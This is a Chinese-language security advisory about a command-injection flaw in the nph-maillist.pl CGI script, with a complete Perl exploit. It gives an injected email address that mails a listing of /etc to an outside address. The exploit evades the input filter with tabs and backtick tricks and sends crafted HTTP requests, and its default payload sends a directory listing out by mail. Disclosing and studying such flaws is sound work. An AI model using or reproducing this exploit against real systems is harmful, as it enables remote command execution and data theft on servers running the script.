CGI - nph-maillist.pl 漏洞
/ns/ld/softld/data/20010414060608.htm
涉及程序:
nph-maillist.pl
描述:
提交构造特殊的 EMAIL 导致 nph-maillist.pl 执行攻击者代码
详细:
EMAIL 列表生成器是一个 WEB 接口的脚本,它允许 WEB 站点的访问者留下自己的 EAMIL 地址。它由两个部分组成:nph-maillist.pl 文件执行 WEB 接口的功能;mailengine.pl 在后台运行,直到所有列表被寄出。发现 nph-maillist.pl 在解析 EAMIL 地址时存在漏洞,攻击者通过提交特殊构造的 EMAIL 地址能导致该列表生成器执行自己提供的代码。
以下代码仅仅用来测试和研究这个漏洞,如果您将其用于不正当的途径请后果自负
在 mailengine.pl ,有:
...
$mailprog="/usr/sbin/sendmail";
$mailfile = "mail.txt";
open (BSS, $mailfile) || die "Cannot open $mailfile";
@mailf = ;
close (BSS);
foreach $SIZE (@mailf) {
$SIZE =~ s/\n//g;
open (MAIL, "|$mailprog $SIZE") || die "Cannot open $mailprog";
...
此处 $mailfile 是有 EMAIL 地址的文件
如果我们以下列方式发送我们的 EMAIL 地址:
urabura@matura.pl ;ls -al /etc|mail root@bigbrother.pl
我们能使 mailengine.pl 执行我们的命令:
但是在 maillist.pl 中,有:
<...>
if ($FORM{'emailaddress'} !~ /\@/) { &bad_email();}
if ($FORM{'emailaddress'} !~ /\./) { &bad_email();}
if ($FORM{'emailaddress'} =~ /\ /) { &bad_email();}
if ($FORM{'emailaddress'} =~ /\)/) { &bad_email();}
if ($FORM{'emailaddress'} =~ /\(/) { &bad_email();}
if ($FORM{'emailaddress'} =~ /\:/) { &bad_email();}
if ($FORM{'emailaddress'} =~ /\//) { &bad_email();}
if ($FORM{'emailaddress'} =~ /\\/) { &bad_email();}
if ($FORM{'emailaddress'} =~ /\http:/) { &bad_email();}
<...>
此处的 emailaddress 是被张贴的地址,我们发现诸如" ","/","\" ...的字符被过滤掉了。
不过,我们能使用 "\t" [tabs] :如果我们在 head\t-n1\tnph-maillist.pl|cut\t-c3 中改变“/”,则 nph-maillist.cgi 将会接受这个 EAMIL ,从而执行我们传给它的命令。
Simple exploit in perl:
-----------------------------------------------------------------------
#!/usr/bin/perl
# nph-maillist hack... Kanedaaa [ kaneda@ac.pl ]
# its add crazy @email, sends mails, and execute our code of coz ;]
#
# greetzzz to all of Bohatery... [Breslau Kilerz, Lam3rz, my Mom, dog,
# hamster... maybe this is not hamster..., wine, SobiechOS, wine, Cucumber
# Team Members... yeah. i must go sleep. ;]
# and #phreakpl, #hackingpl :]
#
# . remember thats just simple sploit... You cant play in koules this.. ;]
use Socket;
# Ip...
$ip="127.0.0.1";
# Command to run ...
$command = 'ls -al|mail ssie@bigbrother.pl';
#################################################
if (!$ARGV[0]) {
print "....nph-maillist hack... Kanedaaa [kaneda\@ac.pl]\n";
print ".........Use the force, edit source...[ ip & command ]\n";
print "\n";
print "1:./nph-maillist-ogorek.pl send - add our special \@email to the list.\n";
print "2:./nph-maillist-ogorek.pl hack - sends emails from list and execute our code.\n";
}
if ($ARGV[0] eq "send") { &send }
if ($ARGV[0] eq "hack") { &hack }
sub send
{
###########################################
# You cant add this BAD chars... but we can hack this ;]
#" " ")" "(" ":" "/" "\" "http:"
###########################################
# Hack the "/" problem... change "/" -> `head -n1 nph-maillist.pl|cut -c3`
#
$command =~ s/\//`head -n1 nph-maillist.pl|cut -c3`/g;
#
# Hack the ":" problem... change ":" -> `grep ntent-type nph-maillist.pl|tail -n1|awk -F "type" {'print $2'}|cut -c1`
#
$command =~ s/:/`grep ntent-type nph-maillist.pl|tail -n1|awk -F "type" {'print \$2'}|cut -c1`/g;
#
# Hack the "\" problem... change "\" -> `grep BGCOLOR nph-maillist.pl|tail -n1|awk -F "=" {'print \$2'}|cut -c1`
#
$command =~ s/\\/`grep BGCOLOR nph-maillist.pl|tail -n1|awk -F "=" {'print \$2'}|cut -c1`/g;
#
# Hack the "(" problem... change "(" -> `grep scalar nph-maillist.pl|tail -n1|awk -F "scalar" {'print \$2'}|cut -c1`
#
$command =~ s/\(/`grep scalar nph-maillist.pl|tail -n1|awk -F "scalar" {'print \$2'}|cut -c1`/g;
#
# Hack the ")" problem... change ")" -> `grep unlink nph-maillist.pl|awk -F "jobx" {'print \$2'}|cut -c1`
#
$command =~ s/\)/`grep unlink nph-maillist.pl|awk -F "jobx" {'print \$2'}|cut -c1`/g;
###
# Change ascii to hex...
$command =~ s/([^\w\!*-])/sprintf("%%%02X",ord($1))/ge;
#
# Hack the " " problem... change " " -> "\t" [TAB]
$command =~ s/%20/%09/g;
$r = int(rand(100000));
$command = "$r\@bigbrother.pl;".$command;
$parms="emailaddress=$command";
$tosend="GET /cgi-bin/nph-maillist.pl?$parms HTTP/1.0\r\n".
"Referer: http://$ip/cgi-bin/nph-maillist.pl\r\n\r\n";
print sendraw($tosend);
print "If server return some ...adding %trash% to the email list...\n";
print "Now run with hack parametr...Peace\n";
}
sub hack
{
$tosend="GET /cgi-bin/mailengine.pl HTTP/1.0\r\n".
"Referer: http://$ip/cgi-bin/nph-maillist.pl\r\n\r\n";
print sendraw($tosend);
print "... Theoretical You are haker... \n";
}
#####################################################
# Ripped from some RFP code... :]] I will infuse good Tea for You...
# I`am the best Infuser of Tea in .pl ... :]
sub sendraw {
my ($pstr)=@_; my $target;
$target= inet_aton($ip) || die("inet_aton problems");
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,80,$target)){
select(S); $|=1;
print $pstr; my @in=;
select(STDOUT); close(S);
return @in;
} else { die("Can't connect...\n"); }}
受影响系统:
nph-maillist.pl 3.0 , 3.5
--------------------------------------------------------------------------------